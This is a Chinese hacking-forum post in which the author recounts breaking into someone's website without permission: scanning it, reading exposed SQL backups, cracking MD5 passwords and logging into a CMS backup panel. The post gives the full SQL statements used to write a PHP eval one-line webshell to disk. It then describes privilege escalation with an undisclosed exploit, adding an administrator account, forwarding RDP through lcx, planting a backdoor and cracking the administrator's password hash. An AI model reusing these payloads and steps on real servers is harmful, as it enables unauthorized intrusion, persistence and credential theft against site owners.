|  |
| --- |
| 本来没打算日站的，可是刚看了一个站，觉的不错，并且好像是apmserv搭建的服务器，正好我手上也有它的提权oday，所以就打算日下，用Web Vulnerability Scanner 7对整个网站进行了一番扫描，没发现什么可利用的，自己也试着去发现这是什么cms，在后边加上个admin.php，就出现了原型了，phpcms2007，这下好了，马上百度，可是所有oday用不上，如果以前的oday都没补上的话，那这个站就不知道被日成什么样了，最近比较忙，真的，烦心事也比较多，自己在忙着学习linux，也瞅瞅linux的提权。对这个站的所有目录都检查了一番，用wwwscan也进行了一番轰炸，可是没有什么利用的地方， 这样就陷入了僵局，这次可不是旁注咯，自己开始慢慢的找吧！ 又重新开始仔细检查一遍，看能有什么利用的地方不？无意当中发现可以某些目录可见，嘿嘿.... 看到了一个baup目录，看了一下，都是一些sql备份语句，平常的话，我也不会多看，这个总共起来有100多篇，数目不小，可是还是坚持看了一下，其实这些没什么价值的，可是看到最后发现了一点点线索，大家请看http_imgload.cgi.jpg    这些看似很重要的信息吧！可是一试，却发现这些都是很久以前的数据了，并且登陆后台也登陆不了的，这还多亏了一个朋友，经常帮我弄md5，找他帮我上cmd5.com解了个密，现在把各个密码都试了一遍，发现都是一些没用的数据，心想这么悲剧..... 在看了下有个fckeditor编辑器，可是有什么用呢？利用不上，并且也不是iis，是apache，解析漏洞利用不上， 试试弱口令......不行 试试ftp弱口令......不行 难道是真的放弃吗？ 还是继续看吧！在网站的根目录下，我发现了一个在线备份系统，是帝国的cms，也试了试弱口令，不行，上网搜一下他的oday，也没有，有的就是说进了它后台拿shell，现在是后台都没搞进去，这下可是万籁具灰的时候了 本来就打算这样放弃的，可是在放弃的前一刻，就怀着死马当活马医的态度，试下前面解密的账号， 哇......RP爆发了，居然进去了，进去后台，想按照网上的方法拿shell的，可是自己看了下，不行，自己发现有个sql执行的地方 http_imgload.cgi.jpg  心想，直接执行个sql语句，建个表，插入一句话，然后导出到网站，一个shell就诞生了，可是我们不知道路径啊！好在我前面自己试了很多，在一个文件当中爆出了网站的路径，哈哈......这下好了，可是大家仔细想想，要导出一句话，前提是什么，mysql要是root权限才可以，对吧！我们就试试，发现果真是root，成功倒出一句话 sql语句如下 Create TABLE a (cmd text NOT NULL); Insert INTO a (cmd) VALUES('<?php @eval($\_POST[cmd])?>'); select cmd from a into outfile 'C:/2/htdocs/aa.php';       注释：这里C:/2/htdocs/aa.php为路径 Drop TABLE IF EXISTS a; 接下来就是用菜刀上一句话连接咯，呵呵。。。 http_imgload.cgi.jpg     呵呵.....到手了，接下来就是提权了，因为我手中有这个提权的oday，不到几分钟，成功添加用户，也成功加入管理组 看看开3389端口没，发现开了，没改端口，然后ipconfig试试，居然是内网 哎，也没关系，一个lcx转发下，本机在监听该端口再转发到我们想要的端口，我就转发到3390好了， 已经连上来了，看看，。。。。 不错， http_imgload.cgi.jpg  8核哦，呵呵.....最近RP都比较好，收获了2台8核的， 然后在服务器上种下我们的后门，我的是天然的后门，哈哈... 然后抓下管理员的hash，我本机有彩虹表，能破14位以下的hash，14位下，包含特殊字符 然后用彩虹表破了管理员密码，一台服务器就这样到手了 我博客：hi.baidu.com/sethc5/blog 总结:千万别放弃就有可能成功............ |

[http\_imgload.cgi.jpg](http://wwww.hake.cc/forum.php?mod=attachment&aid=MTc1N3w4MDc4MDRkOHwxMzE5NzE5NzExfDgxNTI%3D&nothumb=yes) (52.11 KB, 下载次数: 0)

